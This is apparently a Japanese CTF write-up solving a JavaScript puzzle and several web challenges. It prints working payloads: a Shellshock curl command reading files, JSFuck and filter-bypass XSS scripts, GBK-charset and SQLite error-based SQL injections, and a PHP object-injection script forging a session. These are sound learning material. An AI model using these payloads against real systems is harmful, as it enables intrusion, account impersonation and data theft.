去年の11月16日から今年の2月7日まで開催されていた場阿忍愚CTFに st98 として参加しました。
最終的に全 48 問中 41 問を解き、6115 点を獲得しました。10 点以上獲得した 439 人中、9 位でした。
解いた問題のうち、超文書転送術 (Web) カテゴリの問題と記述術 200 点の JavaScript Puzzle という問題の (私の) 解法を紹介します。
SECCON 2014 オンライン予選 (英語)で出題された jspuzzle がバリバリ ES2015 な感じに変えられた問題でした。
window["<1>"]["<2>"]`${
[ <3>, <4>, <5>, 0x52, 0x54 ]
["<6>"](x=>String["<7>"](x))["<8>"]("")["<9>"]() +"<10>"
}`;
という問題と、それぞれの部分に入れられる
map
join
(1)
(101)
(0b1001100)
eval
toLowerCase
call
fromCodePoint
(0O000101)
が与えられます。
まず <3> <4> <5> について考えます。後ろに続く 0x52
と 0x54
の数値ですが、これはそれぞれ ASCII コードで R
と T
になります。
与えられたもののうち数値リテラルっぽいものは (1)
(101)
(0b1001100)
(0O000101)
の 4 つ。ASCII コードで印字可能なのは後ろの 3 つで、それぞれ e
L
A
。0b
で始まるものと 0O
で始まるものは ES2015 にある 2 進数リテラルと 8 進数リテラルです。
たぶん これは /alert/i
になるんだろうなーという推測から、<3> <4> <5> はそれぞれ (0O000101)
(0b1001100)
(101)
になります。
<6> について考えます。Array.prototype.*
の *
に入れられるものは、map
join
の 2 つです。引数は (x=>String["<7>"](x))
とアロー関数になっているので map
でしょう。
<7> について考えます。入れられるものは fromCodePoint
のみです。String.fromCodePoint() は ES2015 で追加された、与えられた Unicode のコードポイントから文字列を返す String
の静的メソッドです。
<8> について考えます。これまでに分かっているものを当てはめて実行してみると ["A", "L", "e", "R", "T"]["<8>"]()
となることが分かります。当てはまるものは join
です。
<9> について考えます。<8> を当てはめて実行してみると "ALeRT"
という文字列ができました。入れられるものは toLowerCase()
のみです。
<10> について考えます。<1> と <2> には (1)
は入れられないので、(1)
です。
eval
と call
が残りました。window.call
は存在しないので <1> が eval
、<2> が call
です。
実行してみると、alert(1)
ができました。
flag: 4c0bf259050d08b8982b6ae43ad0f12be030f191
初倒しは私でした。やったー。
トップページにある、これまでに生成された GIF 画像の URL を見てみると、/movies/view/2874
のような形式でした。
/movies/view/1
にアクセスしてみたところ、閲覧する権限がないと怒られてしまいました。
試しに画像をアップロードして GIF を作ってみると、プレビューの URL が /movies/newgif/2956
となっており、先ほどと形式が異なっています。
/movies/newgif/1
にアクセスすると、フラッグが表示されました。
flag: H0WdoUpronunceGIF?
/list
を見てみると arp
ps
のような特定のコマンドとオプションを入力して送信ボタンを押すと /exec
に POST で投げられるという感じでした。
ここで OS コマンドインジェクションが可能なのではと考えたのですが、コマンドはいじってもリストにあるもの以外はダメ、オプションはコメントアウトされているホワイトリストにあるもの以外はダメといった様子でした。
/about
を見てみると、ちょっとした文章と NOTE: DON'T FORGET TO FIND OUT THE HIDDEN MESSAGE HERE!
という注釈文。文章を見てみると変な位置に大文字があるので、文章から大文字のみを取り出してみると SHELLSHOCK
。
curl -A '() { :;}; /bin/ls' -F "cmd=hostname" -F "option=" http://…/exec
を投げると flag.txt logs logs.py …
といった出力が返ってきました。
/bin/ls
の部分を /bin/cat flag.txt
に変えるとフラッグが出ました。
flag: Update bash to the latest version!
…というのが普通なんですが、最初に解いたときは /bin/ls
のようにすべきところを ls
と書いてしまって動かず、大分詰まっていました。
ならどうしたのかというと、() { :;}; $(hoge)
とすると /bin/sh: hoge: No such file or directory
のようにエラーが出ることから、それなら hoge
の部分でフラッグを出せばいいのでは…と考えてしまいました。
/cgi-bin/flag.txt
にアクセスすると、HTTP ステータスコードが 404
でなく 503
になっています。このことから、フラッグが flag.txt
にあると推測しました。
$(hoge)
を $(<flag.txt)
にすると /bin/sh: flag={Update bash to the latest version!}: No such file or directory
と表示され、無事フラッグを手に入れることができました。
ABCabc
と入力すると ABCABC
が返ってきました。入力が全て大文字にされてしまうようです。
スクリプト部分を全部記号にしてしまえば大文字小文字は関係ないので、JSF**k などを使って
<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>
のようにするとフラッグが表示されました。
flag: 2ztJcvm2h52WGvZxF98bcpWv
AalertB
と入力すると AB
が返ってきました。alert
が消されてしまっているようです。
aalertlert
と入力すると alert
が返ってきたのでこれでアラートができそうです。
<script>aalertlert(1)</script>
flag: n2SCCerG4J9kDkHqvHJNhwr4
自分が投稿した ToDo しか読めない ToDo リストサービス。yamato
さんの ToDo をのぞき見る問題です。
ソースコード付き。怪しいところを探してみます。
$ie = (isset($_GET['ie']) === true) ? preg_replace('/[^a-z0-9]/', '', strtolower((string)$_GET['ie'])) : mb_internal_encoding();
$ie = ($ie !== 'sjis') ? $ie : die('sjis? so sweeeeeeeeeet');
mysqli_query($link, sprintf('set names %s', $ie));
set names …
の文字コードを /[a-z0-9]+/
の範囲内で自由にいじれるようですが、sjis
(Shift_JIS
) はダメみたいです。
$sql = sprintf("insert into todos (`user_id`, `body`, `create_at`) values ('%s', '%s', NOW())",
mysqli_real_escape_string($link, $_SESSION['user_id']),
mysqli_real_escape_string($link, $body)
);
mysqli_real_escape_string()
でユーザの ID と本文をエスケープしたあと、ToDo リストに追加しています。
文字コードが変えられるというのが不自然。怪しい。
Shift_JIS
といえば、Wikipedia の Shift_JIS の記事に書いてある、2 バイト目に 0x5c
が入っている文字があるという問題。
これを SQLi につなげるにはどうすればいいんだろうと stackoverflow sqli charset
でググったところ、懇切丁寧に解説されている回答を見つけました。
どうやら Shift_JIS
でなくとも gbk
という文字コード (中国の文字コード) でもできるようです。
早速ログインして /?ie=gbk
にアクセス。
?', NOW()), (0x676f68616e, (select a from (select group_concat(body separator 0x7c) as a from todos where user_id=0x79616d61746f) as t),NOW());#
を送信すると、フラッグっぽい文字列が表示されましたが、文字化けしています。
とりあえずページを保存してバイナリエディタで開き、色々文字コードを試していると EUC-JP
で 半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}
と読めました。
flag: r3m3Mb3r_5c_pr0bL3m
初倒しは私でした。やったー。
検索エンジン。機密データをのぞき見る問題です。
ソースコードがあるのでざっと見てみます。
まず schema.sql
を見ます。
CREATE TABLE `flag` (
`flag` VARCHAR(60) not null
);
CREATE TABLE `site` (
`title` VARCHAR(255) not null,
`description` TEXT not null,
`url` VARCHAR(255) not null
);
CREATE VIRTUAL TABLE `site_fts` USING fts4(`words` TEXT);
site
がサイトのテーブル、site_fts
が全文検索用の仮想テーブル、flag
が機密データのテーブルっぽいです。
index.php
を見ていきます。
<?php
function ngram($text, $n = 2)
{
$return = array();
$n = (int)$n;
foreach (array_filter(explode(' ', trim($text))) as $word) {
$length = mb_strlen($word) - $n;
if ($length > 0) {
for ($i = 0; $i <= $length; $i++) {
$return[] = mb_substr($word, $i, $n);
}
} else {
$return[] = $word;
}
}
return $return;
}
ngram('hoge')
を渡すと array('ho', 'og', 'ge')
が返ってくるような関数です。めんどくさそうです。
<?php
if (preg_match('/like|glob|nullif|case|union|sleep|substr|instr|soundex|load/i', $keyword) === 1) {
exit('WAF~><');
}
SQLi のフィルターです。バイパスは難しそうです。
<?php
$keyword = mb_convert_kana($_GET['q'], 'KVas');
// …
$pdo = new PDO('sqlite:../db/yamatoo.db');
// …
if (mb_strlen($keyword) > 2) {
$words = implode(' ', ngram($keyword));
$where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'";
} else {
$where = "`title` like '%{$keyword}%'";
}
$result = $pdo->query("select * from `site` where {$where}");
検索部分です。3 文字以上の文字列の場合 $words
に implode(' ', ngram($keyword))
が、{$keyword}
に入力値がそのまま入ります。
' or 1 ; --
のように 3 文字以上のトークンがない単純なものならいいんですが、この問題の目的は登録されているすべてのサイトの情報を得ることではなく機密データをのぞき見ることなので、そのためには $words
で SQLi を狙うのは厳しそうです。
SQLite
では、シングルクォートは ''
のように 2 つ重ねることでエスケープすることができます。
これを利用して '''
と入力すると、implode(' ', ngram($keyword))
が '' '' ''
となり、match '{$words}'
の部分でクエリが壊れず、また '%{$keyword}%'
の部分でいい感じに文字列を閉じることができ、SQLi が狙えます。
mage さんのツイートを漁っていると気になるツイートを見つけました。
DB によってやり方が異なってそうな SQLi といえば Error-Based SQLi
です。sqlite error based
でググるとそれっぽい記事がヒットしました。
あとは ''' or (select 1 from site_fts where words match char(34)||(select flag from flag));--
を投げるとフラッグが出てきました。
flag: 3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637
自分が投稿したノートしか読めないメモ帳サービス。yamato
さんのノートをのぞき見る問題です。
とりあえずアクセスしてユーザ登録。YAML
をアップロードすると、タイトルや本文を読み込んで投稿してくれるという便利機能付きです。
ソースコードがあるので YAML
の処理をしている部分を index.php
から探してみます。
$yaml = new String(file_get_contents($file));
$parsed = yaml_parse($yaml->optimize()->yaml()->get());
アップロードされた YAML
ファイルの内容は yaml_parse()
でパースされています。
PHP マニュアルの yaml_parse()
ページを見てみると、
警告
!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。
と警告がされています。外部からのデータがそのまま unserialize()
に渡される…と聞いて思い出すのが PHP オブジェクトインジェクション。外部から任意のクラスのオブジェクトが作れてしまいます。
もう少し調べてみると !php/object …
とすることで unserialize(…)
が実行されるようです。
このサービスでユーザ入力が unserialize()
に渡されるのか、文字列をシリアライズ化したもので検証してみます。
$ php -r 'echo serialize("yabai") . "\n";'
s:5:"yabai";
$ cat > payload.yaml
title: !php/object s:5:"yabai";
body: body
タイトルが yabai
のノートが作成され、ユーザ入力が unserialize()
に渡されていることが確認できました。
__destruct()
メソッド (オブジェクトが破棄される際に呼ばれる) や __wakeup()
メソッド (オブジェクトが unserialize()
でアンシリアライズされる際に呼ばれる) に気を付けながら、攻撃に使用するクラスを見ていきます。
まず classes/Db.php
。
<?php
class Db
{
public $charset = 'utf8';
public $link = null;
private static $_instance = null;
// …
public function __construct()
{
$this->connect();
}
// …
public function connect()
{
$this->link = mysqli_connect(YAMATONOTE_DB_HOST, YAMATONOTE_DB_USER, YAMATONOTE_DB_PASS);
$this->query(sprintf('use %s', YAMATONOTE_DB_NAME));
$this->query(sprintf('set names %s', $this->charset));
}
// …
public function __wakeup()
{
$this->connect();
}
}
PDO
みたいなクラス。__wakeup()
メソッドがあり、その中で connect()
メソッドを呼んで DB に接続しています。使えそうです。
続いて classes/Session.php
。
<?php
class Session
{
public $id = '';
public $db = null;
private $_param = array();
public function __construct()
{
session_start();
$this->id = session_id();
$this->db = Db::getInstance();
$this->load();
}
public function load()
{
$sql = 'select `param` from `session` where `id` = :id';
$session = $this->db->fetch($sql, array(':id' => $this->id));
$this->_param = (isset($session['param']) === true) ? unserialize($session['param']) : array();
}
public function save()
{
$sql = 'select count(*) as __count from `session` where `id` = :id';
$session = $this->db->fetch($sql, array(':id' => $this->id));
$count = (int)$session['__count'];
$param = serialize($this->_param);
$sql = ($count === 1) ?
'update `session` set `param` = :param where `id` = :id' :
'insert into `session` (`id`, `param`) values (:id, :param)';
$this->db->query($sql, array(':id' => $this->id, ':param' => $param));
}
public function __destruct()
{
$this->save();
}
}
セッション管理を行っているクラス。id
プロパティにはセッション ID、db
プロパティには先ほどの Db
クラスのオブジェクト、private な _param
プロパティには配列でセッションデータが入っている様子です。
__destruct()
メソッドでは save()
メソッドが呼ばれています。save()
メソッドでは自身の持つセッション ID とセッションデータの更新か挿入を行っています。
この Session
クラスを利用して _param
プロパティが array('user_id' => 'yamato')
であるセッションを作ることで、yamato
さんに成りすましてノートをのぞき見ることができそうです。
では、攻撃してみます。
$ cat payload.php
<?php
class Db {}
class Session {
public $id;
public $db;
private $_param = array();
function __construct($id, $user_id) {
$this->id = $id;
$this->db = new Db();
$this->_param['userId'] = $user_id;
}
}
echo "title: !php/object " . serialize(new Session('session-id-dayo', 'yamato')) . "\nbody: body\n";
$ php payload.php > payload.yaml
できた YAML
ファイルを Fiddler などで通信をキャプチャしながらアップロードすると、生成されたノートへの遷移を行っているページで Notice: yaml_parse(): Failed to unserialize class in …
とエラーを吐いています。どうやら YAML
のパースに失敗した様子です。
index.php
の YAML
ファイルをパースしている部分をもう一度確認します。
$yaml = new String(file_get_contents($file));
$parsed = yaml_parse($yaml->optimize()->yaml()->get());
YAML
ファイルの内容は String
という謎のクラスに渡され、String::optimize()
と String::yaml()
を通したあとに yaml_parse()
でパースされています。
String
クラスについて詳しく見てみます。classes/String.php
を確認します。
<?php
class String
{
// …
public $str = '';
// …
public function optimize()
{
$from = mb_detect_encoding($this->str, 'ASCII,JIS,UTF-8,eucjp-win,sjis-win', true);
if ($from === false) {
e('Contain invalid chars');
die();
}
$this->str = strtr($this->str, array("\x00" => '', "\r\n" => "\n", "\r" => "\n"));
$this->str = mb_convert_encoding($this->str, $this->charset, $from);
return $this;
}
public function yaml()
{
// anti null-byte in yaml
$this->str = preg_replace('/\\\\+x?0+/', '', $this->str);
return $this;
}
// …
}
optimize()
メソッドでは null が削除され、\r\n
と \r
が \n
に置換されています。yaml()
メソッドでは \x00
や \0
のようなエスケープされた null が削除されています。
攻撃に使った payload.yaml
を確認すると、Session
の _param
プロパティ辺りに null が入ってしまっています。
private や protected なプロパティをシリアライズ化すると、プロパティ名に null が入ってしまうためです。
この null を普通にエスケープしようとしても、yaml()
によって消されてしまいます。
何とかならないか YAML のエスケープの仕様を読んでみたところ、\uXXXX
という方法を見つけました。
さっき書いた攻撃コードを修正して、もう一度攻撃してみます。
$ cat payload.php
<?php
class Db {}
class Session {
public $id;
public $db;
private $_param = array();
function __construct($id, $user_id) {
$this->id = $id;
$this->db = new Db();
$this->_param['userId'] = $user_id;
}
}
function f($s) {
return str_replace("\0", '\u0000', str_replace('"', '\\"', $s));
}
echo 'title: !php/object "' . f(serialize(new Session('session-id-dayo', 'yamato'))) . '"' . "\nbody: body\n";
$ php payload.php > payload.yaml
できた YAML
ファイルをアップロードすると、タイトルに何も書かれていないノートが作成されました。
クッキーの PHPSESSID
を session-id-dayo
に変えると、yamato
さんのノートをのぞき見ることができました。
flag: pHp_0bj3c7_15_50_5w3333333E337_4nD_y4mL_700
ちなみに、この解法は想定解ではないそうです…(´・ω・`)
想定解やほかの解法については mage さんの資料をご覧ください。